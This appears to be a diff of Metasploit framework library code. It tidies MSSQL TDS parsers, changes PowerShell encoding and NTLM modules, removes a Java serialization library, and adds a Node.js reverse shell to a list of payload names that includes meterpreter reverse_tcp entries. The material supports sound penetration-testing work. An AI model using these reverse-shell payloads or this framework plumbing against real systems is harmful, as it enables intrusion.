def mssql_parse_info(data, info)
|
def mssql_parse_info(data, info)
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
buff = data.slice!(0,len)
|
buff = data.slice!(0, len)
|
||||||
|
|
||||||
errno,state,sev,elen = buff.slice!(0,8).unpack('VCCv')
|
errno, state, sev, elen = buff.slice!(0, 8).unpack('VCCv')
|
||||||
emsg = buff.slice!(0,elen * 2)
|
emsg = buff.slice!(0, elen * 2)
|
||||||
emsg.gsub!("\x00", '')
|
emsg.gsub!("\x00", '')
|
||||||
|
|
||||||
info[:infos]||= []
|
info[:infos] ||= []
|
||||||
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
info[:infos] << "SQL Server Info ##{errno} (State:#{state} Severity:#{sev}): #{emsg}"
|
||||||
info
|
info
|
||||||
end
|
end
|
||||||
|
@ -985,8 +947,8 @@ module Exploit::Remote::MSSQL
|
||||||
# Parse a "login ack" TDS token
|
# Parse a "login ack" TDS token
|
||||||
#
|
#
|
||||||
def mssql_parse_login_ack(data, info)
|
def mssql_parse_login_ack(data, info)
|
||||||
len = data.slice!(0,2).unpack('v')[0]
|
len = data.slice!(0, 2).unpack('v')[0]
|
||||||
buff = data.slice!(0,len)
|
_buff = data.slice!(0, len)
|
||||||
info[:login_ack] = true
|
info[:login_ack] = true
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -17,12 +17,6 @@ module Msf
|
||||||
|
|
||||||
module Exploit::NTLM
|
module Exploit::NTLM
|
||||||
|
|
||||||
NTLM_CONST = ::Rex::Proto::NTLM::Constants
|
|
||||||
NTLM_CRYPT = ::Rex::Proto::NTLM::Crypt
|
|
||||||
NTLM_UTILS = ::Rex::Proto::NTLM::Utils
|
|
||||||
NTLM_BASE = ::Rex::Proto::NTLM::Base
|
|
||||||
NTLM_MESSAGE = ::Rex::Proto::NTLM::Message
|
|
||||||
|
|
||||||
module Client
|
module Client
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
|
|
|
@ -58,7 +58,7 @@ module Exploit::Powershell
|
||||||
# @return [String] Encoded script
|
# @return [String] Encoded script
|
||||||
def encode_script(script_in, eof = nil)
|
def encode_script(script_in, eof = nil)
|
||||||
opts = {}
|
opts = {}
|
||||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/i && v }.keys.map do |k|
|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||||
mod_method = k.split('::').last.intern
|
mod_method = k.split('::').last.intern
|
||||||
opts[mod_method.to_sym] = true
|
opts[mod_method.to_sym] = true
|
||||||
end
|
end
|
||||||
|
@ -76,7 +76,7 @@ module Exploit::Powershell
|
||||||
# @return [String] Compressed script with decompression stub
|
# @return [String] Compressed script with decompression stub
|
||||||
def compress_script(script_in, eof=nil)
|
def compress_script(script_in, eof=nil)
|
||||||
opts = {}
|
opts = {}
|
||||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/i && v }.keys.map do |k|
|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||||
mod_method = k.split('::').last.intern
|
mod_method = k.split('::').last.intern
|
||||||
opts[mod_method.to_sym] = true
|
opts[mod_method.to_sym] = true
|
||||||
end
|
end
|
||||||
|
|
|
@ -227,6 +227,7 @@ class Exploit
|
||||||
'php/meterpreter/reverse_tcp',
|
'php/meterpreter/reverse_tcp',
|
||||||
'php/meterpreter_reverse_tcp',
|
'php/meterpreter_reverse_tcp',
|
||||||
'ruby/shell_reverse_tcp',
|
'ruby/shell_reverse_tcp',
|
||||||
|
'nodejs/shell_reverse_tcp',
|
||||||
'cmd/unix/interact',
|
'cmd/unix/interact',
|
||||||
'cmd/unix/reverse',
|
'cmd/unix/reverse',
|
||||||
'cmd/unix/reverse_perl',
|
'cmd/unix/reverse_perl',
|
||||||
|
|
|
@ -1,3 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
require 'rex/java/serialization'
|
|
|
@ -1,57 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
# Include constants defining terminal and constant
|
|
||||||
# values expected in a stream.
|
|
||||||
module Serialization
|
|
||||||
STREAM_MAGIC = 0xaced
|
|
||||||
STREAM_VERSION = 5
|
|
||||||
TC_NULL = 0x70
|
|
||||||
TC_REFERENCE = 0x71
|
|
||||||
TC_CLASSDESC = 0x72
|
|
||||||
TC_OBJECT = 0x73
|
|
||||||
TC_STRING = 0x74
|
|
||||||
TC_ARRAY = 0x75
|
|
||||||
TC_CLASS = 0x76
|
|
||||||
TC_BLOCKDATA = 0x77
|
|
||||||
TC_ENDBLOCKDATA = 0x78
|
|
||||||
TC_RESET = 0x79
|
|
||||||
TC_BLOCKDATALONG = 0x7A
|
|
||||||
TC_EXCEPTION = 0x7B
|
|
||||||
TC_LONGSTRING = 0x7C
|
|
||||||
TC_PROXYCLASSDESC = 0x7D
|
|
||||||
TC_ENUM = 0x7E
|
|
||||||
BASE_WIRE_HANDLE = 0x7E0000
|
|
||||||
|
|
||||||
SC_WRITE_METHOD = 0x01 # if SC_SERIALIZABLE
|
|
||||||
SC_BLOCK_DATA = 0x08 # if SC_EXTERNALIZABLE
|
|
||||||
SC_SERIALIZABLE = 0x02
|
|
||||||
SC_EXTERNALIZABLE = 0x04
|
|
||||||
SC_ENUM = 0x10
|
|
||||||
|
|
||||||
PRIMITIVE_TYPE_CODES = {
|
|
||||||
'B' => 'byte',
|
|
||||||
'C' => 'char',
|
|
||||||
'D' => 'double',
|
|
||||||
'F' => 'float',
|
|
||||||
'I' => 'int',
|
|
||||||
'J' => 'long',
|
|
||||||
'S' => 'short',
|
|
||||||
'Z' => 'boolean'
|
|
||||||
}
|
|
||||||
|
|
||||||
OBJECT_TYPE_CODES = {
|
|
||||||
'[' => 'array',
|
|
||||||
'L' => 'object'
|
|
||||||
}
|
|
||||||
|
|
||||||
TYPE_CODES = PRIMITIVE_TYPE_CODES.merge(OBJECT_TYPE_CODES)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
require 'rex/java/serialization/decode_error'
|
|
||||||
require 'rex/java/serialization/encode_error'
|
|
||||||
require 'rex/java/serialization/model'
|
|
||||||
require 'rex/java/serialization/builder'
|
|
|
@ -1,94 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
# This class provides a builder to help in the construction of
|
|
||||||
# Java serialized contents.
|
|
||||||
class Builder
|
|
||||||
|
|
||||||
# Creates a Rex::Java::Serialization::Model::NewArray
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, String, Array>}]
|
|
||||||
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
|
|
||||||
# @option opts [String] :values_type
|
|
||||||
# @option opts [Array] :values
|
|
||||||
# @return [Rex::Java::Serialization::Model::NewArray]
|
|
||||||
# @see #new_class
|
|
||||||
def new_array(opts = {})
|
|
||||||
class_desc = opts[:description] || new_class(opts)
|
|
||||||
type = opts[:values_type] || ''
|
|
||||||
values = opts[:values] || []
|
|
||||||
|
|
||||||
array = Rex::Java::Serialization::Model::NewArray.new
|
|
||||||
array.array_description = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
array.array_description.description = class_desc
|
|
||||||
array.type = type
|
|
||||||
array.values = values
|
|
||||||
|
|
||||||
array
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a Rex::Java::Serialization::Model::NewObject
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
|
|
||||||
# @option opts [Rex::Java::Serialization::Model::NewClassDesc] :description
|
|
||||||
# @option opts [Array] :data
|
|
||||||
# @return [Rex::Java::Serialization::Model::NewObject]
|
|
||||||
# @see #new_class
|
|
||||||
def new_object(opts = {})
|
|
||||||
class_desc = opts[:description] || new_class(opts)
|
|
||||||
data = opts[:data] || []
|
|
||||||
|
|
||||||
object = Rex::Java::Serialization::Model::NewObject.new
|
|
||||||
object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
object.class_desc.description = class_desc
|
|
||||||
object.class_data = data
|
|
||||||
|
|
||||||
object
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a Rex::Java::Serialization::Model::NewClassDesc
|
|
||||||
#
|
|
||||||
# @param opts [Hash{Symbol => <Rex::Java::Serialization::Model::NewClassDesc, Array>}]
|
|
||||||
# @option opts [String] :name
|
|
||||||
# @option opts [Fixnum] :serial
|
|
||||||
# @option opts [Fixnum] :flags
|
|
||||||
# @option opts [Array] :fields
|
|
||||||
# @option opts [Array] :annotations
|
|
||||||
# @option opts [Rex::Java::Serialization::Model::Element] :super_class
|
|
||||||
# @return [Rex::Java::Serialization::Model::NewClassDesc]
|
|
||||||
def new_class(opts = {})
|
|
||||||
class_name = opts[:name] || ''
|
|
||||||
serial_version = opts[:serial] || 0
|
|
||||||
flags = opts[:flags] || 2
|
|
||||||
fields = opts[:fields] || []
|
|
||||||
annotations = opts[:annotations] || [Rex::Java::Serialization::Model::NullReference.new,
|
|
||||||
Rex::Java::Serialization::Model::EndBlockData.new]
|
|
||||||
super_class = opts[:super_class] || Rex::Java::Serialization::Model::NullReference.new
|
|
||||||
|
|
||||||
class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
|
|
||||||
class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, class_name)
|
|
||||||
class_desc.serial_version = serial_version
|
|
||||||
class_desc.flags = flags
|
|
||||||
class_desc.fields = []
|
|
||||||
|
|
||||||
fields.each do |f|
|
|
||||||
field = Rex::Java::Serialization::Model::Field.new
|
|
||||||
field.type = f[0]
|
|
||||||
field.name = Rex::Java::Serialization::Model::Utf.new(nil, f[1])
|
|
||||||
field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, f[2]) if f[2]
|
|
||||||
class_desc.fields << field
|
|
||||||
end
|
|
||||||
|
|
||||||
class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
|
|
||||||
class_desc.class_annotation.contents = annotations
|
|
||||||
class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
|
|
||||||
class_desc.super_class.description = super_class
|
|
||||||
|
|
||||||
class_desc
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,11 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
class DecodeError < ::RuntimeError
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,11 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
class EncodeError < ::RuntimeError
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,33 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
|
|
||||||
autoload :Annotation, 'rex/java/serialization/model/annotation'
|
|
||||||
autoload :BlockDataLong, 'rex/java/serialization/model/block_data_long'
|
|
||||||
autoload :BlockData, 'rex/java/serialization/model/block_data'
|
|
||||||
autoload :ClassDesc, 'rex/java/serialization/model/class_desc'
|
|
||||||
autoload :Contents, 'rex/java/serialization/model/contents'
|
|
||||||
autoload :Element, 'rex/java/serialization/model/element'
|
|
||||||
autoload :EndBlockData, 'rex/java/serialization/model/end_block_data'
|
|
||||||
autoload :Field, 'rex/java/serialization/model/field'
|
|
||||||
autoload :LongUtf, 'rex/java/serialization/model/long_utf'
|
|
||||||
autoload :NewArray, 'rex/java/serialization/model/new_array'
|
|
||||||
autoload :ProxyClassDesc, 'rex/java/serialization/model/proxy_class_desc'
|
|
||||||
autoload :NewClassDesc, 'rex/java/serialization/model/new_class_desc'
|
|
||||||
autoload :NewEnum, 'rex/java/serialization/model/new_enum'
|
|
||||||
autoload :NewObject, 'rex/java/serialization/model/new_object'
|
|
||||||
autoload :NewClass, 'rex/java/serialization/model/new_class'
|
|
||||||
autoload :NullReference, 'rex/java/serialization/model/null_reference'
|
|
||||||
autoload :Reference, 'rex/java/serialization/model/reference'
|
|
||||||
autoload :Reset, 'rex/java/serialization/model/reset'
|
|
||||||
autoload :Stream, 'rex/java/serialization/model/stream'
|
|
||||||
autoload :Utf, 'rex/java/serialization/model/utf'
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,69 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides an annotation representation. It's used for both class
|
|
||||||
# annotations (classAnnotation) and object annotations (objectAnnotation).
|
|
||||||
class Annotation < Element
|
|
||||||
|
|
||||||
include Rex::Java::Serialization::Model::Contents
|
|
||||||
|
|
||||||
# @!attribute contents
|
|
||||||
# @return [Array] The annotation contents
|
|
||||||
attr_accessor :contents
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(stream)
|
|
||||||
self.contents = []
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::Annotation
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
loop do
|
|
||||||
content = decode_content(io, stream)
|
|
||||||
self.contents << content
|
|
||||||
return self if content.kind_of?(EndBlockData)
|
|
||||||
end
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::Annotation
|
|
||||||
#
|
|
||||||
# @return [String] if serialization suceeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize Annotation with empty contents' if contents.empty?
|
|
||||||
|
|
||||||
encoded = ''
|
|
||||||
|
|
||||||
contents.each do |content|
|
|
||||||
encoded << encode_content(content)
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
str = '[ '
|
|
||||||
contents_data = contents.collect {|content| "#{print_content(content)}"}
|
|
||||||
str << contents_data.join(', ')
|
|
||||||
str << ' ]'
|
|
||||||
str
|
|
||||||
end
|
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,70 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a block data representation
|
|
||||||
class BlockData < Element
|
|
||||||
|
|
||||||
# @!attribute length
|
|
||||||
# @return [Integer] the length of the block
|
|
||||||
attr_accessor :length
|
|
||||||
# @!attribute contents
|
|
||||||
# @return [String] the contents of the block
|
|
||||||
attr_accessor :contents
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
# @param contents [String] the contents of the block
|
|
||||||
def initialize(stream = nil, contents = '')
|
|
||||||
super(stream)
|
|
||||||
self.contents = contents
|
|
||||||
self.length = contents.length
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::BlockData
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
raw_length = io.read(1)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData' if raw_length.nil?
|
|
||||||
self.length = raw_length.unpack('C')[0]
|
|
||||||
|
|
||||||
if length == 0
|
|
||||||
self.contents = ''
|
|
||||||
else
|
|
||||||
self.contents = io.read(length)
|
|
||||||
if contents.nil? || contents.length != length
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
contents_hex = []
|
|
||||||
contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" }
|
|
||||||
|
|
||||||
"[ #{contents_hex.join(', ')} ]"
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::BlockData
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def encode
|
|
||||||
encoded = [length].pack('C')
|
|
||||||
encoded << contents
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,72 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a block data (long) representation
|
|
||||||
class BlockDataLong < Element
|
|
||||||
|
|
||||||
# @!attribute length
|
|
||||||
# @return [Integer] the length of the block
|
|
||||||
attr_accessor :length
|
|
||||||
# @!attribute contents
|
|
||||||
# @return [String] the contents of the block
|
|
||||||
attr_accessor :contents
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
# @param contents [String] the contents of the block
|
|
||||||
def initialize(stream = nil, contents = '')
|
|
||||||
super(stream)
|
|
||||||
self.contents = contents
|
|
||||||
self.length = contents.length
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::BlockDataLong
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
raw_length = io.read(4)
|
|
||||||
if raw_length.nil? || raw_length.length != 4
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockDataLong'
|
|
||||||
end
|
|
||||||
self.length = raw_length.unpack('N')[0]
|
|
||||||
|
|
||||||
if length == 0
|
|
||||||
self.contents = ''
|
|
||||||
else
|
|
||||||
self.contents = io.read(length)
|
|
||||||
if contents.nil? || contents.length != length
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize BlockData'
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::BlockDataLong
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def encode
|
|
||||||
encoded = [length].pack('N')
|
|
||||||
encoded << contents
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
contents_hex = []
|
|
||||||
contents.each_byte {|byte| contents_hex << "0x#{byte.to_s(16)}" }
|
|
||||||
|
|
||||||
"[ #{contents_hex.join(', ')} ]"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,64 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
# This class provides a Java classDesc representation
|
|
||||||
class ClassDesc < Element
|
|
||||||
|
|
||||||
include Rex::Java::Serialization::Model::Contents
|
|
||||||
|
|
||||||
attr_accessor :description
|
|
||||||
|
|
||||||
# @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to
|
|
||||||
def initialize(stream = nil)
|
|
||||||
super(stream)
|
|
||||||
self.description = nil
|
|
||||||
end
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::ClassDesc
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [self] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed
|
|
||||||
def decode(io)
|
|
||||||
content = decode_content(io, stream)
|
|
||||||
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
|
|
||||||
|
|
||||||
unless allowed_contents.include?(content.class)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'ClassDesc unserialize failed'
|
|
||||||
end
|
|
||||||
|
|
||||||
self.description = content
|
|
||||||
self
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes the Rex::Java::Serialization::Model::ClassDesc
|
|
||||||
#
|
|
||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode
|
|
||||||
encoded = ''
|
|
||||||
allowed_contents = [NullReference, NewClassDesc, Reference, ProxyClassDesc]
|
|
||||||
|
|
||||||
unless allowed_contents.include?(description.class)
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize ClassDesc'
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded << encode_content(description)
|
|
||||||
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @return [String]
|
|
||||||
def to_s
|
|
||||||
print_content(description)
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,163 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
module Contents
|
|
||||||
include Rex::Java::Serialization
|
|
||||||
|
|
||||||
# Deserializes a content
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::DecodeError] if deserialization doesn't succeed or unsupported content
|
|
||||||
def decode_content(io, stream)
|
|
||||||
opcode = io.read(1)
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content' if opcode.nil?
|
|
||||||
opcode = opcode.unpack('C')[0]
|
|
||||||
content = nil
|
|
||||||
|
|
||||||
case opcode
|
|
||||||
when TC_BLOCKDATA
|
|
||||||
content = BlockData.decode(io, stream)
|
|
||||||
when TC_BLOCKDATALONG
|
|
||||||
content = BlockDataLong.decode(io, stream)
|
|
||||||
when TC_ENDBLOCKDATA
|
|
||||||
content = EndBlockData.decode(io, stream)
|
|
||||||
when TC_OBJECT
|
|
||||||
content = NewObject.decode(io, stream)
|
|
||||||
when TC_CLASS
|
|
||||||
content = NewClass.decode(io, stream)
|
|
||||||
when TC_ARRAY
|
|
||||||
content = NewArray.decode(io, stream)
|
|
||||||
when TC_STRING
|
|
||||||
content = Utf.decode(io, stream)
|
|
||||||
stream.add_reference(content) unless stream.nil?
|
|
||||||
when TC_LONGSTRING
|
|
||||||
content = LongUtf.decode(io, stream)
|
|
||||||
stream.add_reference(content) unless stream.nil?
|
|
||||||
when TC_ENUM
|
|
||||||
content = NewEnum.decode(io, stream)
|
|
||||||
when TC_CLASSDESC
|
|
||||||
content = NewClassDesc.decode(io, stream)
|
|
||||||
when TC_PROXYCLASSDESC
|
|
||||||
content = ProxyClassDesc.decode(io, stream)
|
|
||||||
when TC_REFERENCE
|
|
||||||
content = Reference.decode(io, stream)
|
|
||||||
when TC_NULL
|
|
||||||
content = NullReference.decode(io, stream)
|
|
||||||
when TC_EXCEPTION
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize unsupported TC_EXCEPTION content'
|
|
||||||
when TC_RESET
|
|
||||||
content = Reset.decode(io, stream)
|
|
||||||
else
|
|
||||||
raise Rex::Java::Serialization::DecodeError, 'Failed to unserialize content'
|
|
||||||
end
|
|
||||||
|
|
||||||
content
|
|
||||||
end
|
|
||||||
|
|
||||||
# Serializes a content
|
|
||||||
#
|
|
||||||
# @param content [Rex::Java::Serialization::Model::Element] the content to serialize
|
|
||||||
# @return [String] if serialization succeeds
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if serialization doesn't succeed
|
|
||||||
def encode_content(content)
|
|
||||||
encoded = ''
|
|
||||||
|
|
||||||
case content
|
|
||||||
when BlockData
|
|
||||||
encoded << [TC_BLOCKDATA].pack('C')
|
|
||||||
when BlockDataLong
|
|
||||||
encoded << [TC_BLOCKDATALONG].pack('C')
|
|
||||||
when EndBlockData
|
|
||||||
encoded << [TC_ENDBLOCKDATA].pack('C')
|
|
||||||
when NewObject
|
|
||||||
encoded << [TC_OBJECT].pack('C')
|
|
||||||
when NewClass
|
|
||||||
encoded << [TC_CLASS].pack('C')
|
|
||||||
when NewArray
|
|
||||||
encoded << [TC_ARRAY].pack('C')
|
|
||||||
when Utf
|
|
||||||
encoded << [TC_STRING].pack('C')
|
|
||||||
when LongUtf
|
|
||||||
encoded << [TC_LONGSTRING].pack('C')
|
|
||||||
when NewEnum
|
|
||||||
encoded << [TC_ENUM].pack('C')
|
|
||||||
when NewClassDesc
|
|
||||||
encoded << [TC_CLASSDESC].pack('C')
|
|
||||||
when ProxyClassDesc
|
|
||||||
encoded << [TC_PROXYCLASSDESC].pack('C')
|
|
||||||
when NullReference
|
|
||||||
encoded << [TC_NULL].pack('C')
|
|
||||||
when Reset
|
|
||||||
encoded << [TC_RESET].pack('C')
|
|
||||||
when Reference
|
|
||||||
encoded << [TC_REFERENCE].pack('C')
|
|
||||||
else
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
|
|
||||||
end
|
|
||||||
|
|
||||||
encoded << content.encode
|
|
||||||
encoded
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation
|
|
||||||
#
|
|
||||||
# @param content [Rex::Java::Serialization::Model::Element] the content to print
|
|
||||||
# @return [String]
|
|
||||||
# @raise [Rex::Java::Serialization::EncodeError] if the content is unknown
|
|
||||||
def print_content(content)
|
|
||||||
str = ''
|
|
||||||
|
|
||||||
case content
|
|
||||||
when BlockData
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
when BlockDataLong
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
when EndBlockData
|
|
||||||
str << "#{print_class(content)}"
|
|
||||||
when NewObject
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
when ClassDesc
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
when NewClass
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
when NewArray
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
when Utf
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
when LongUtf
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} } "
|
|
||||||
when NewEnum
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
when NewClassDesc
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
when ProxyClassDesc
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
when NullReference
|
|
||||||
str << "#{print_class(content)}"
|
|
||||||
when Reset
|
|
||||||
str << "#{print_class(content)}"
|
|
||||||
when Reference
|
|
||||||
str << "#{print_class(content)} { #{content.to_s} }"
|
|
||||||
else
|
|
||||||
raise Rex::Java::Serialization::EncodeError, 'Failed to serialize content'
|
|
||||||
end
|
|
||||||
|
|
||||||
str
|
|
||||||
end
|
|
||||||
|
|
||||||
# Creates a print-friendly string representation of the content class
|
|
||||||
#
|
|
||||||
# @param content [Rex::Java::Serialization::Model::Element] the content
|
|
||||||
# @return [String]
|
|
||||||
def print_class(content)
|
|
||||||
content.class.name.split('::').last
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
|
@ -1,44 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
|
|
||||||
module Rex
|
|
||||||
module Java
|
|
||||||
module Serialization
|
|
||||||
module Model
|
|
||||||
class Element
|
|
||||||
|
|
||||||
attr_accessor :stream
|
|
||||||
|
|
||||||
# Deserializes a Rex::Java::Serialization::Model::Element
|
|
||||||
#
|
|
||||||
# @param io [IO] the io to read from
|
|
||||||
# @return [Rex::Java::Serialization::Model::Element] if deserialization succeeds
|
|
||||||
# @return [nil] if deserialization doesn't succeed
|
|
||||||
def self.decode(io, stream = nil)
|
|
